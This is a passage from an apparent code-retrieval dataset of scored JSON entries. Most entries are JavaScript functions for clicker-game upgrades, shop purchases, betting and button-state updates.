(upgradeObj.owned >= upgradeObj.max) {\n purchase = false\n }\n }\n if (upgradeObj.maxLevel) {\n if (upgradeObj.owned >= upgradeObj.maxLevel) {\n purchase = false\n }\n }\n if (stats.knowledge >= upgradeObj.price && purchase == true) {\n stats.knowledge -= upgradeObj.price\n upgradeObj.owned++\n upgradeObj.price = Math.floor(upgradeObj.price * 1.5)\n if (upgradeObj.priceMod) {\n upgradeObj.price = Math.floor(upgradeObj.price * upgradeObj.priceMod)\n }\n if (upgradeObj.name == \"Stonks\") {\n stats.bonusMax = 10 + upgradeObj.owned * upgradeObj.mod\n stats.bonusChance = 1 + upgradeObj.owned * upgradeObj.chanceMod\n }\n if (upgradeObj.name == \"Mental Ascension\") {\n if (upgradeObj.owned < upgradeObj.maxLevel) {\n stats.timeInterval = 1000 - (upgradeObj.mod * upgradeObj.owned)\n timeInterval = stats.timeInterval\n }\n }\n addToChat(\"buy\", \"\", upgradeObj)\n // @ts-ignore\n click2.play()\n }\n update()\n // updateStats(upgradeObj)\n updatePrice(upgradeObj)\n updateOwned(upgradeObj)\n updateLocked(upgradeObj)\n updateMax(upgradeObj)\n}", "title": "" }, { "docid": "e78d51be3f2c428a4800f4663adba410", "score": "0.5801714", "text": "function updateHealthButtons() {\r\n\r\n\t\tvar h = parseInt( $( \"#wellness\" ).text() );\r\n\t\tvar foodLimit = parseInt( $( \"#foodLimit\" ).text() );\r\n\t\tvar giftLimit = parseInt( $( \"#giftLimit\" ).text() );\r\n\t\tif( foodLimit == 0 ) {\r\n\t\t\tdisableButton( $( \"#newEatButton\" ) );\r\n\r\n\t\t} else {\r\n\t\t\tif( selectedFood ) {\r\n\t\t\t\tvar eatQ = parseInt( selectedFood.attr( \"indexselect\" ) ) * 10;\r\n\t\t\t\tif( (eatQ + h) > 100 ) {\r\n\t\t\t\t\tdisableButton( $( \"#newEatButton\" ) );\r\n\t\t\t\t} else {\r\n\t\t\t\t\tenableButton( $( \"#newEatButton\" ) );\r\n\t\t\t\t}\r\n\r\n\t\t\t} else enableButton( $( \"#newEatButton\" ) );\r\n\t\t}\r\n\r\n\t\tif( giftLimit == 0 ) {\r\n\t\t\tdisableButton( $( \"#newGiftButton\" ) );\r\n\r\n\t\t} else {\r\n\t\t\tif( selectedGift ) {\r\n\t\t\t\tvar useQ = parseInt( selectedGift.attr( \"indexselect\" ) ) * 10;\r\n\t\t\t\tif( (useQ + h) > 100 ) {\r\n\t\t\t\t\tdisableButton( $( \"#newGiftButton\" ) );\r\n\t\t\t\t} else {\r\n\t\t\t\t\tenableButton( $( \"#newGiftButton\" ) );\r\n\t\t\t\t}\r\n\r\n\t\t\t} else enableButton( $( \"#newGiftButton\" ) );\r\n\t\t}\r\n\r\n\t\tupdateFightButtons()\r\n\t}", "title": "" }, { "docid": "ab5a54f0aa1ec3b35662ee42317e54ff", "score": "0.57971", "text": "function disableBtn(){\n if(eggs <chickenPrice){\n chickBtn.disabled = true;\n chickBtn.setAttribute(\"disabled\", \"disabled\");\n henBtn.disabled = true;\n henHouseBtn.disabled = true;\n farmerBtn.disabled = true;\n }\n else if(eggs <henPrice){\n henBtn.disabled = true;\n henHouseBtn.disabled = true;\n farmerBtn.disabled = true;\n }\n else if(eggs <henHousePrice){\n henHouseBtn.disabled = true;\n farmerBtn.disabled = true;\n }\n else if(eggs <farmerPrice){\n farmerBtn.disabled = true;\n }\n}", "title": "" }, { "docid": "b1e7bc9a45b9af3d04c82e87631949e8", "score": "0.5791565", "text": "function showUpdates() {\r\n if (getValue('updateAvailable')) {\r\n if (getValue('updateAvailable') != scriptLength) {\r\n control_row.appendChild(buildButton(update, 'update', scriptURL));\r\n } else {\r\n setValue('updateAvailable', false);\r\n }\r\n }\r\n }", "title": "" }, { "docid": "5596ddf8b97fa4c55020eaae0bce1d31", "score": "0.5790272", "text": "function mutateBasketButton($button, action) {\n\n if(action === 'sold') {\n\n $button.addClass('out-of-stock').html('<strong>Sold out</strong><br />Email me when back in stock');\n $('.add-to-cart label, .add-to-cart .number-product').css({\n 'position': 'relative',\n 'top': '-8px'\n });\n\n } else if(action === 'available') {\n\n $button.removeClass('out-of-stock').html('Add to basket');\n $('.add-to-cart label, .add-to-cart .number-product').css({\n 'top': '0'\n });\n\n }\n\n }", "title": "" }, { "docid": "f21e36b1fea834a3103a7cfc2000d0e1", "score": "0.5788721", "text": "function button_step(step) {\n let MIN_ORDER_QUANTITY = 0;\n let MAX_ORDER_QUANTITY = 25;\n let check_val = parseInt(clone.querySelectorAll('[id^=\"user-\"]')[0].innerHTML, 10) + step;\n if (MIN_ORDER_QUANTITY <= check_val && check_val <= MAX_ORDER_QUANTITY) {\n clone.querySelectorAll('[id^=\"user-\"]')[0].innerHTML = check_val;\n if (check_val > 0) {\n clone.style.color = \"black\";\n } else {\n clone.style.color = \"darkgray\";\n }\n }\n update_function();\n }", "title": "" }, { "docid": "dc10b2223692f6d1a6d9c82f248988be", "score": "0.578579", "text": "function action4() {\n if (player.radiation) {\n rnJesus = shopPrice * 200;\n\n if (player.scrap >= rnJesus) {\n player.energy += 100;\n player.hunger += 40;\n player.thirst += 80;\n player.scrap -= rnJesus;\n\n timeTableTick();\n\n document.getElementById('historyLog').innerText = \"You spend \" + rnJesus + \" caps to dine at the extravagant Gourmet. The food was exquisite and you feel charged. \";\n document.getElementById('historyLog2').innerText = \"\";\n\n } else {\n document.getElementById('historyLog').innerText = 'The guards brandish their spears at you. ';\n document.getElementById('historyLog2').innerText = \" 'This is the Gourmet. And you can't afford it.' \";\n }\n\n } else {\n document.getElementById('historyLog').innerText = 'You are dead. ';\n document.getElementById('historyLog2').innerText = '';\n document.getElementById('historyLog3').innerText = '';\n }\n\n updateUI();\n}", "title": "" }, { "docid": "0155b819a5e8eb109870aec85593d29d", "score": "0.5773642", "text": "function onBuy(productName, productPriceInPence) {\n \"use strict\";\n if (productPriceInPence > insertedInPence) {\n showMessage(\"Cannot afford \" + productName + \", please insert more coins!\");\n } else {\n var change = convertPenceToPounds(insertedInPence - productPriceInPence);\n showMessage(\"Enjoy your \" + productName + \"! Change = \" + change);\n insertedInPence = 0;\n updateInsertedValue();\n }\n}", "title": "" }, { "docid": "0607553cd3fb6b062ea01d88e7f1d2cb", "score": "0.5773558", "text": "function getHens(){\n hens++;\n totalHensStr.innerHTML = \"You have total: \"+ hens + \" hens\";\n eggs -=henPrice;\n disableBtn();\n showEggs();\n\n var henPrice2 = Math.round(Math.pow(henPrice, 1.06));\n henPrice =document.getElementById(\"henPrice\").innerHTML = henPrice2;\n\n // getting eggs auto.\n setInterval(()=>{\n getEggs();\n }, 3000);\n\n}", "title": "" }, { "docid": "68adf899e25dac068aa7acc4997ef349", "score": "0.5773032", "text": "function clickNotFree() {\n\n if (score > decreaseScore) { \n // putting increaseMulti inside the if prevents the multi counter from increasing when you click on it before it disappears and IF loop makes sure you can only use the multiplicator when enough credits (not negative)\n \n function increaseMulti() { \n multiScore++; // increment the multiplicator value\n document.querySelector(\".multiplaceholder\").innerHTML = \"Multiplicator x\" + multiScore; /// put multiplicator value in the multiplicator button\n }\n increaseMulti();\n \n score -= decreaseScore*2; // substract penalty from cookie score (minus)\n showScore.innerHTML = score; // the updated score linked to the span with id show on html page\n }\n }", "title": "" }, { "docid": "c1535a44c943add46fe4a50f91161dfa", "score": "0.5767366", "text": "function Upgrade1() {\r\n\tif(Decimal.compare(quarks.upgrade1.case, 1) == 0) {\r\n\t\tif(Decimal.compare(quarks.red.have, quarks.upgrade1.cost) >= 0) {\r\n\t\t\tquarks.red.have = Decimal.sub(quarks.red.have, quarks.upgrade1.cost);\r\n\t\t\tquarks.upgrade1.cost = Decimal.times(quarks.upgrade1.cost, 2);\r\n\t\t\tquarks.red.get = Decimal.times(quarks.red.get, 1.43);\r\n\t\t\tquarks.upgrade1.level = Decimal.add(quarks.upgrade1.level, 1);\r\n\t\t\tquarks.upgrade1.case = Decimal.add(quarks.upgrade1.case, 1);\r\n\t\t\tdocument.getElementById('upgrade1').innerHTML = notate(quarks.upgrade1.cost) + \" <b>green</b> quark spin <br> Level: \" + notate(quarks.upgrade1.level);\r\n\t\t};\r\n\t};\r\n\tif(Decimal.compare(quarks.upgrade1.case, 2) == 0) {\r\n\t\tif(Decimal.compare(quarks.green.have, quarks.upgrade1.cost) >= 0) {\r\n\t\t\tquarks.green.have = Decimal.sub(quarks.green.have, quarks.upgrade1.cost);\r\n\t\t\tquarks.upgrade1.cost = Decimal.times(quarks.upgrade1.cost, 2);\r\n\t\t\tquarks.red.get = Decimal.times(quarks.red.get, 1.43);\r\n\t\t\tquarks.upgrade1.level = Decimal.add(quarks.upgrade1.level, 1);\r\n\t\t\tquarks.upgrade1.case = Decimal.add(quarks.upgrade1.case, 1);\r\n\t\t\tdocument.getElementById('upgrade1').innerHTML = notate(quarks.upgrade1.cost) + \" <b>blue</b> quark spin <br> Level: \" + notate(quarks.upgrade1.level);\r\n\t\t};\r\n\t};\r\n\tif(Decimal.compare(quarks.upgrade1.case, 3) == 0) {\r\n\t\tif(Decimal.compare(quarks.blue.have, quarks.upgrade1.cost) >= 0) {\r\n\t\t\tquarks.blue.have = Decimal.sub(quarks.blue.have, quarks.upgrade1.cost);\r\n\t\t\tquarks.upgrade1.cost = Decimal.times(quarks.upgrade1.cost, 2);\r\n\t\t\tquarks.red.get = Decimal.times(quarks.red.get, 1.43);\r\n\t\t\tquarks.upgrade1.level = Decimal.add(quarks.upgrade1.level, 1);\r\n\t\t\tquarks.upgrade1.case = new Decimal(1);\r\n\t\t\tdocument.getElementById('upgrade1').innerHTML = notate(quarks.upgrade1.cost) + \" <b>red</b> quark spin <br> Level: \" + notate(quarks.upgrade1.level);\r\n\t\t};\r\n\t};\r\n}", "title": "" }, { "docid": "c30eaf517549e8b7bd859dba6edaf7ab", "score": "0.5767031", "text": "function getChicks(){\n chicks++;\n totalChicksStr.innerHTML = \"You have total: \"+ chicks + \" chickens\";\n eggs -= chickenPrice;\n disableBtn();\n showEggs();\n\n var chickenPrice2 = Math.round( Math.pow(chickenPrice, 1.05));//new price\n\n chickenPrice =document.getElementById(\"chickenPrice\").innerHTML = chickenPrice2;\n\n // getting eggs auto.\n setInterval(()=>{\n getEggs();\n }, 4000);\n}", "title": "" }, { "docid": "de1e82a3b8849bdea9c4b5beaec3e563", "score": "0.5759264", "text": "function update_UI_battery()\n{\n\tif (data[\"Analog\"] && data[\"Analog\"][\"Vbat\"]) {\n\t\tvar battery_display = this.patcher.getnamed(\"battery_indicator\");\n\t\tvar voltage = data[\"Analog\"][\"Vbat\"];\n\t\tbattery_display.set(voltage);\n\t\tif (voltage > 3.7) {\n\t\t\tbattery_display.message(\"slidercolor\", 0.439, 0.749, 0.255, 1);\n\t\t} else {\n\t\t\tbattery_display.message(\"slidercolor\", 1, 0.189, 0.119, 1);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "82d12106f08ecfeea95d849d8e539fc3", "score": "0.57527107", "text": "function max(){\n startingCred -= 5;\n //=startingCred;\n totalBet += 5;\n $(\"#totalBet\").text(\"Total Bet: \" +totalBet);\n $(\"#credits\").text(\"Credits: \"+startingCred);\n\n //if player bets max $5 and loses the total goes down by 5\n }", "title": "" }, { "docid": "ab0d9467778b1fb040c739ad91c7c84e", "score": "0.5736724", "text": "function upgradeCostChecks() {\n let foodUpgradeCostGold = goldCostCalculator(user.mods.food)\n let oreUpgradeCostGold = goldCostCalculator(user.mods.ore)\n let woodUpgradeCostGold = goldCostCalculator(user.mods.wood)\n\n let foodUpgradeCostOre = oreCostCalculator(user.mods.food)\n let oreUpgradeCostOre = oreCostCalculator(user.mods.ore)\n let woodUpgradeCostOre = oreCostCalculator(user.mods.wood)\n\n let foodUpgradeCostWood = woodCostCalculator(user.mods.food)\n let oreUpgradeCostWood = woodCostCalculator(user.mods.ore)\n let woodUpgradeCostWood = woodCostCalculator(user.mods.wood)\n\n let elemFood = document.getElementById(\"foodUpgrade\")\n let elemOre = document.getElementById(\"oreUpgrade\")\n let elemWood = document.getElementById(\"woodUpgrade\")\n if (user.gold >= foodUpgradeCostGold && user.ore >= foodUpgradeCostOre && user.wood >= foodUpgradeCostWood) {\n elemFood.removeAttribute(\"disabled\")\n } else elemFood.setAttribute(\"disabled\", \"\")\n if (user.gold >= oreUpgradeCostGold && user.ore >= oreUpgradeCostOre && user.wood >= oreUpgradeCostWood) {\n elemOre.removeAttribute(\"disabled\")\n } else elemOre.setAttribute(\"disabled\", \"\")\n if (user.gold >= woodUpgradeCostGold && user.ore >= woodUpgradeCostOre && user.wood >= woodUpgradeCostWood) {\n elemWood.removeAttribute(\"disabled\")\n } else elemWood.setAttribute(\"disabled\", \"\")\n}", "title": "" }, { "docid": "fda76c817d52a360770ca84709f87c21", "score": "0.5735625", "text": "function increaseBet() {\n addSound = new Audio('https://freesound.org/data/previews/333/333038_3908740-lq.mp3');\n addSound.play();\n if (stopped.includes(false)) return; //prevents from being clickable when reels are running\n if (bankroll < 5) return; //caps to 0, cant press if less than 5\n bet += 5; \n bankroll -= 5;\n render();\n}", "title": "" }, { "docid": "8bcdb2843de3ae74dd3b26b56b06f0d5", "score": "0.57113725", "text": "function showInsuficientMoney(){\n $('#buyingCardOrmagic .popup-content-wrap').html('' +\n '<p>У вас недостаточно денег</p>' +\n '<p><a class=\"buy-more-gold\" href=\"#\">Купить золота</a>' +\n '<a class=\"buy-more-silver\" href=\"#\">Наменять серебра</a></p>');\n $('#buyingCardOrmagic').show(300);\n}", "title": "" }, { "docid": "3ea06c419c91b50583d45ad540e10391", "score": "0.56964785", "text": "function buy5FoodFunction() {\n if (moneyCount >= buy5FoodCost) {\n moneyCount -= buy5FoodCost;\n money.innerHTML = `Money: $${moneyCount}`;\n foodCount += 5;\n currentFood.innerHTML = `Food: ${foodCount}`; \n }\n}", "title": "" }, { "docid": "b4f3471c579a1523f2b5451897567306", "score": "0.56945604", "text": "function pressurelt()\n{\n\t// declare an initialize a variable for pressure\n\t// when pressurelt is clicked this assigns a string value for pressure for comparison later\n\tvar pressure = \"less than 30\";\n\t\n\t// tests if pressure is less than 30 assigned from button click\n\tif(pressure === \"less than 30\")\n\t{\n\t\tdocument.getElementById(\"pressure1\").innerHTML += '<p>Does your fluid contain particulate matter?';\n\t}\n\t\n\t\n}", "title": "" }, { "docid": "023d94c058cfecb3d6c2c7b788831d75", "score": "0.5688348", "text": "function buyClick() {\n const amount = $(\"#amount\").val();\n $(this).blur();\n if (confirm(`Möchten Sie ${amount} Ticket` + `${amount<0 ? '' : '(s)' }` + ` verkaufen?`)){\n gigBuy(amount)\n } \n \n}", "title": "" }, { "docid": "19fcf734059ef8f5a7c7fa04620f9c51", "score": "0.5688125", "text": "function show_product_stock_admin() {\n\tif (product_stock !== false){\n\t\tdocument.write('<br>' + translate_sentence('Stock') + ': ' + product_stock + ' ');\n\t\tif (product_stock == 1) { show_translated_sentence('unit'); }\n\t\telse { show_translated_sentence('units'); }\n\t} else { document.write('<br>' + translate_sentence('Stock') + ': Infinite'); }\n}", "title": "" }, { "docid": "bacc4d87976a8a549130fbccc66c6da4", "score": "0.5683818", "text": "function receivePlayerItems(data){\n \n // actualisation du niveau d'or du joueur\n goldAmount = data.gold;\n document.getElementById(\"gold\").innerHTML = data.gold +\" 💲\";\n \n //function de gestion d'accesibilité des boutons de batiments\n //Elle est située dans le fichier import/menu.mjs\n BatMenuManage(goldAmount, btnExtracteur, btnCaserne, btnPortugais, btnTrinquette, btnMurH, btnMurV);\n \n \n //test progress bar\n document.getElementById('xp').value = (goldAmount/1000)*100;\n \n}", "title": "" }, { "docid": "77fa60af283e45d6f91dca8d280e282d", "score": "0.56712145", "text": "function getHenHouses(){\n henHouses++;\n totalHenHousesStr.innerHTML = \"You have total: \"+ henHouses + \" hen houses\";\n eggs -= henHousePrice;\n disableBtn();\n showEggs();\n\n var henHousePrice2 = Math.round(Math.pow(henHousePrice, 1.07));//new price, adds on price\n henHousePrice =document.getElementById(\"henHousePrice\").innerHTML = henHousePrice2;\n\n // getting eggs auto.\n setInterval(()=>{\n getEggs();\n }, 2000);\n}", "title": "" }, { "docid": "29068281018c71cba5fbd18ac9e5c7db", "score": "0.56648105", "text": "function achieve(){\n if (t < 400){\n popbox.style.display = \"block\";\n z.innerText = \"You got under 400ms! Here's a prize:\";\n list.style.display = \"none\";\n img.style.display = \"block\";\n }\n else {\n // Nothing\n }\n}", "title": "" }, { "docid": "3ee814c1fa0ead63febd1aaa5df89b9d", "score": "0.5662382", "text": "AugmenterMaxPv(){\n\n if(this.or >= this.price){\n this.pvMax += 5;\n console.log(this.pvMax);\n this.or -= this.price;\n console.log(\"or :\" + this.or);\n this.price += 2;\n \n }\n else{\n alert(\"Vous n'avez plus assez d'or pour augmenter vos PV!\");\n }\n this.CalculBarreDeVie();\n \n //$(\"#pv\").textContent = heros.pv;\n // document.querySelector(\"#pv\").textContent = this.pv;\n\n }", "title": "" }, { "docid": "2212b2d6514e11c8e89cf71dfa7de3db", "score": "0.5656038", "text": "function show_upgrade(upgrade){\r\n\tdocument.getElementById(upgrade).style.display='inline';\r\n}", "title": "" }, { "docid": "f52896342244851d8d102dc4c8fd5f05", "score": "0.56546307", "text": "renderedCallback() {\n this.totalprice !== 0 ? this.visible = true : this.visible = false; \n }", "title": "" }, { "docid": "53c169f4ef7b710dda879191f1c7fc09", "score": "0.56505334", "text": "function getBuyNow() {\n const laptop = laptopData[laptopPosition];\n let message = '';\n if (laptop.price > bankBalance)\n message = \"You cant afford this\";\n else {\n bankBalance = bankBalance - laptop.price;\n message = \"You are now the owner of this laptop!\"\n hasLoan = false;\n }\n alert(message);\n updateBalanceText();\n}", "title": "" }, { "docid": "99a57ebd0c32a419798368ed262d3219", "score": "0.56497395", "text": "function OpenBagNum(){\n\tOpenBagMoney = PlayerBankInventoryNum*10;\n\tif(PlayerPrefs.GetInt(\"ConsumerTip\" , 0) == 1){\n\t\tAllManage.AllMge.TipsMoney(yuan.YuanPhoton.UseMoneyType.YesOpenCangKu , GetBDInfoInt(\"BankInventoryNum\" , 1) , 0 , \"\" , gameObject , \"NoOpenTips\");\n//\t\tAllManage.qrStatic.ShowBuyQueRen1(gameObject , \"YesOpen\" , \"NoOpen\" , AllManage.AllMge.Loc.Get(\"info298\")+ \"\" +OpenBagMoney + AllManage.AllMge.Loc.Get(\"info302\")+ \"\");\n\t}else{\n\t\tYesOpen();\n\t}\n}", "title": "" }, { "docid": "19f12ad06f6b75876798ee6c62acbb80", "score": "0.5646268", "text": "function betMaxButtonClicked(event) {\n createjs.Sound.play(\"clicked\");\n setPlayerBet(playerMoney);\n stage.removeChild(betOneLbl);\n stage.removeChild(betTenLbl);\n stage.removeChild(betMaxLbl);\n betMaxLbl = new objects.Label(\"$\" + playerMoney.toString(), 160, 385, false);\n stage.addChild(betMaxLbl);\n}", "title": "" }, { "docid": "4a21edbc8746ec402c176100b6e687bb", "score": "0.5639038", "text": "function update() {\n let dust = document.getElementById('moon-dust-count');\n let dpc = document.getElementById('dpc');\n let auto = document.getElementById('auto-count');\n let pickaxeCount = document.getElementById('purchased-pickaxe');\n let laserCount = document.getElementById('purchased-laser');\n let excavatorCount = document.getElementById('purchased-excavator');\n let localsCount = document.getElementById('purchased-local');\n let roverCount = document.getElementById('purchased-rover');\n let baseCount = document.getElementById('purchased-moonbase');\n\n dust.innerText = moonDust.toString();\n dpc.innerText = perClickModifier.toString()\n auto.innerText = autoModifier.toString()\n pickaxeCount.innerText = clickUpgrades.pickaxes.quantity.toString();\n laserCount.innerText = clickUpgrades.lasers.quantity.toString();\n excavatorCount.innerText = clickUpgrades.excavators.quantity.toString();\n localsCount.innerText = automaticUpgrades.locals.quantity.toString();\n roverCount.innerText = automaticUpgrades.rovers.quantity.toString();\n baseCount.innerText = automaticUpgrades.moonbase.quantity.toString();\n}", "title": "" }, { "docid": "ff8b9132ad15710ba66dd62f6f657ced", "score": "0.56307566", "text": "function cashClick(){\n //if cashCount has been clicked once do nothing - second click compare cash to 0 and refund become negative\n if (!model.cash){\n return;\n }\n var cashNum = viewTable.cash.querySelector('.button__text_num').innerHTML;\n var chargeNum = viewTable.charge.querySelector('.button__text_num').innerHTML;\n var msg = document.createElement('div');\n var warning = document.createTextNode('not enough!');\n var ok = document.createTextNode('ok, good to go!');\n var el = viewTable.cash.parentNode.querySelector('.warning');\n\n msg.setAttribute('class', 'warning');\n\n // ------------------------------------------- If Cash is not sufficient\n if (Number(cashNum) >= Number(chargeNum)) {\n if(el) { // if msg warning on page\n viewTable.cash.parentNode.removeChild(el);\n msg.appendChild(ok);\n viewTable.cash.parentNode.appendChild(msg);\n octopus.getChange(); // put ok message and call change-cash compare function\n } else { // if all good\n // or if no message call change-cash compare function\n octopus.getChange();\n }\n } else { // if cash is not sufficient\n if(el) { // if msg warning on page\n octopus.clear();\n return;\n\n } else {\n msg.appendChild(warning);\n viewTable.cash.parentNode.appendChild(msg);\n octopus.clear(); // clear to put cash value back to zero;\n }\n }\n }", "title": "" }, { "docid": "5e2924eef47e7ce177714db6288f955b", "score": "0.5624428", "text": "function showUseUpgradeMenu() {\n changeUiState(\"USE UPGRADES\", \"useupgradesmenu\");\n\n // Clear the table\n var useUpgradeTable = document.getElementById(\"useupgradetable\");\n for (var i = useUpgradeTable.rows.length - 1; i > 1; i--) {\n useUpgradeTable.deleteRow(i);\n }\n\n // List upgrades to use\n var hasUpgradesToUse = false;\n for (var i = 0; i < playerState.upgrades.length; i++) {\n var upgrade = playerState.upgrades[i];\n if (upgrade.usable && upgrade.amountOwned > 0) {\n hasUpgradesToUse = true;\n var tr = document.createElement(\"TR\");\n\n var name = document.createElement(\"TD\");\n name.appendChild(document.createTextNode(upgrade.name));\n tr.appendChild(name);\n\n var totalowned = document.createElement(\"TD\");\n totalowned.appendChild(document.createTextNode(upgrade.amountOwned));\n tr.appendChild(totalowned);\n\n var usesleft = document.createElement(\"TD\");\n if (upgrade.usesLeft < 0) {\n usesleft.appendChild(document.createTextNode(\"Infinite\"));\n } else {\n usesleft.appendChild(document.createTextNode(upgrade.usesLeft));\n }\n tr.appendChild(usesleft);\n\n var upgradecost = document.createElement(\"TD\");\n upgradecost.id = upgrade.name.toLowerCase() + \"usagecost\";\n upgradecost.appendChild(document.createTextNode(getUpgradeCostText(upgrade.useCost, 1) + \"/Use\"));\n tr.appendChild(upgradecost);\n\n var upgradeeffect = document.createElement(\"TD\");\n upgradeeffect.id = upgrade.name.toLowerCase() + \"usageeffect\";\n upgradeeffect.appendChild(document.createTextNode(getUpgradeCostText(upgrade.useEffect, 1) + \"/Use\"));\n tr.appendChild(upgradeeffect);\n\n var amounttouse = document.createElement(\"TD\");\n var amounttouseinput = document.createElement(\"input\");\n amounttouseinput.type = \"number\";\n amounttouseinput.step = 1;\n amounttouseinput.min = 0;\n\n if (upgrade.usesLeft >= 0) {\n amounttouseinput.max = upgrade.usesLeft;\n }\n else {\n amounttouseinput.max = 999;\n }\n\n amounttouseinput.placeholder = 0;\n amounttouseinput.id = upgrade.name.toLowerCase() + \"useamount\";\n amounttouseinput.upgradeName = upgrade.name.toLowerCase();\n amounttouseinput.useCost = upgrade.useCost;\n amounttouseinput.useEffect = upgrade.useEffect;\n\n amounttouseinput.addEventListener(\"input\", function () {\n updateUpgradeUse(this.upgradeName, this.useCost, this.useEffect);\n });\n\n amounttouse.appendChild(amounttouseinput);\n tr.appendChild(amounttouse);\n\n var useupgradebuttonsquare = document.createElement(\"TD\");\n var useupgradebuttoninput = document.createElement(\"input\");\n useupgradebuttoninput.type = \"button\";\n useupgradebuttoninput.id = upgrade.name.toLowerCase() + \"use\";\n useupgradebuttoninput.value = \"USE\";\n useupgradebuttoninput.disabled = true;\n useupgradebuttoninput.upgradeName = upgrade.name.toLowerCase();\n useupgradebuttoninput.addEventListener(\"click\", function () {\n useUpgrade(this.upgradeName);\n event.preventDefault();\n });\n\n useupgradebuttonsquare.appendChild(useupgradebuttoninput);\n tr.appendChild(useupgradebuttonsquare);\n\n useUpgradeTable.appendChild(tr);\n }\n }\n\n // List message when there are no upgrades that are usable\n if (!hasUpgradesToUse) {\n var tr = document.createElement(\"TR\");\n\n var buyupgradetousemessage = document.createElement(\"TD\");\n buyupgradetousemessage.colSpan = 5;\n buyupgradetousemessage.appendChild(document.createTextNode(\"You don't have any usable upgrades. Buy some above. Upgrades only come into play the round after they are purchased.\"));\n tr.appendChild(buyupgradetousemessage);\n useUpgradeTable.appendChild(tr);\n }\n}", "title": "" }, { "docid": "59cafb0392289ab6ea6bff5472efb87a", "score": "0.56210303", "text": "function upDateGold() {\n\tdocument.getElementById('gold').innerHTML = \"GOLD : \"+GOLD;\n}", "title": "" }, { "docid": "b1f6e58483a0bcd0b11f0e39fd90b4e2", "score": "0.5620834", "text": "function canBuyEquip(){\n price = textDat['general'][currentIdGeneral][0][currentIdSub][2];\n if(document.getElementById('equipAction').innerHTML.valueOf() === \"Equip\"){\n equipItem();\n }else if(document.getElementById('equipAction').innerHTML.valueOf() === \"Equipped\"){\n alert(\"You already have this equipped\");\n }else if(document.getElementById('equipAction').innerHTML.valueOf() === \"Locked\"){\n alert(\"You must buy/have the previous upgrade before you can buy this upgrade.\");\n }else if(plunder >= price){\n document.getElementById('confirmPurchaseWrapper').style.display = 'block';\n }else{\n alert(\"Ye's got no plunder! Raid some more ships n' I'll get ye what ye needs.\");\n }\n}", "title": "" }, { "docid": "480f6a9a27d58195f87ac58513588aa5", "score": "0.5618791", "text": "function increaseHappiness(value) {\r\n customerSatis += value;\r\n happinessLabel.text = `Happiness: ${customerSatis}`;\r\n \r\n if (customerSatis >= 100)\r\n customerSatis = 100;\r\n}", "title": "" }, { "docid": "c2f9935409fdfa83db1e7453b6146900", "score": "0.56152254", "text": "function bet(chipId){\r\n if(canStartGame){\r\n if(balance >= chipId){\r\n balance = balance - chipId\r\n potentialBalance = potentialBalance + chipId\r\n wager = wager + chipId\r\n }\r\n }\r\n showMessage(\"\")\r\n changeBalanceDisplay(balance)\r\n resetWager.innerHTML = \"&#x274E; Wager $\" + wager\r\n document.getElementById('dealer-score').innerHTML = \"Dealer\"\r\n }//end of bet function", "title": "" }, { "docid": "d6d2598b951e30125735e17190d79f32", "score": "0.5613903", "text": "function update() {\n $.getJSON(url, function(data) {\n console.log(data);\n var result = data;\n var rmb_text = result.ticker.last;\n var rmb = parseInt(rmb_text);\n\n chrome.browserAction.setTitle({\n 'title': '人民币价格:' + parseFloat(rmb_text)\n });\n\n var badgeColor;\n if (rmb > cur_rmb) {\n badgeColor = '#C43E44';\n } else if (rmb == cur_rmb) {\n badgeColor = '#78B9FF';\n } else {\n badgeColor = '#9C6';\n }\n var text = rmb + \"\";\n if (doTextAnimation) {\n var animator = new BadgeTextAnimator({\n text: text,\n interval: 200,\n repeat: false,\n size: text.length,\n color: badgeColor\n });\n animator.animate();\n } else {\n chrome.browserAction.setBadgeText({\n 'text': rmb\n });\n }\n ;\n\n var watch_price = parseInt(localStorage[\"watch_price\"]);\n var watch_type = localStorage[\"watch_type\"];\n\n stopAnimateLoop();\n\n if ((watch_type == \"lt\" && rmb < watch_price) ||\n (watch_type == \"gt\" && rmb > watch_price)\n ) {\n startAnimate();\n }\n\n\n cur_rmb = rmb;\n // cur_usd = usd;\n\n });\n}", "title": "" }, { "docid": "3ebdc508da5940765cf67d9d549fd6fc", "score": "0.5612206", "text": "updateAmount(that) {\r\n let number = document.getElementById('quantity');\r\n let num = Math.min(Math.max(parseInt(number.innerHTML), 0), 19);\r\n num = (that.value == \"minus\") ? --num : ++num;\r\n number.innerHTML = num;\r\n console.log(\"it works\");\r\n }", "title": "" }, { "docid": "3699ae6311bdc5984c683780e2a26f8d", "score": "0.5611713", "text": "function updateHealthButtons() {\r\n\r\n\t\tvar h = $( \"#healthProgress\" ).attr( \"title\" );\r\n\t\th = parseInt( h.split( \"/\" )[0] );\r\n\t\tvar foodLimit = parseInt( $( \"#foodLimit\" ).text() );\r\n\t\tvar giftLimit = parseInt( $( \"#giftLimit\" ).text() );\r\n\t\tif( foodLimit == 0 ) {\r\n\t\t\tdisableButton( $( \"#newEatButton\" ) );\r\n\r\n\t\t} else {\r\n\t\t\tif( selectedFood ) {\r\n\t\t\t\tvar eatQ = parseInt( selectedFood.attr( \"indexselect\" ) ) * 10;\r\n\t\t\t\tif( (eatQ + h) > 100 ) {\r\n\t\t\t\t\tdisableButton( $( \"#newEatButton\" ) );\r\n\t\t\t\t} else {\r\n\t\t\t\t\tenableButton( $( \"#newEatButton\" ) );\r\n\t\t\t\t}\r\n\r\n\t\t\t} else enableButton( $( \"#newEatButton\" ) );\r\n\t\t}\r\n\r\n\t\tif( giftLimit == 0 ) {\r\n\t\t\tdisableButton( $( \"#newGiftButton\" ) );\r\n\r\n\t\t} else {\r\n\t\t\tif( selectedGift ) {\r\n\t\t\t\tvar useQ = parseInt( selectedGift.attr( \"indexselect\" ) ) * 10;\r\n\t\t\t\tif( (useQ + h) > 100 ) {\r\n\t\t\t\t\tdisableButton( $( \"#newGiftButton\" ) );\r\n\t\t\t\t} else {\r\n\t\t\t\t\tenableButton( $( \"#newGiftButton\" ) );\r\n\t\t\t\t}\r\n\r\n\t\t\t} else enableButton( $( \"#newGiftButton\" ) );\r\n\t\t}\r\n\r\n\t\tupdateFightButtons();\r\n\t}", "title": "" }, { "docid": "1f464010a6f8465d97e24c92a116a129", "score": "0.56090754", "text": "function show_product_stock() {\n\tproduct_stock = false;\t//Infinite stock\n\tif (postbody.match(/Stock:/gi)){\n\t\tproduct_stock = parseFloat(extract_value(postbody, 'Stock:', '<br'));\n\t\tif (product_stock > 0 && product_stock < 6) {\n\t\t\tif (product_stock == 1) { var unitst = translate_sentence('unit!'); }\n\t\t\telse {var unitst = 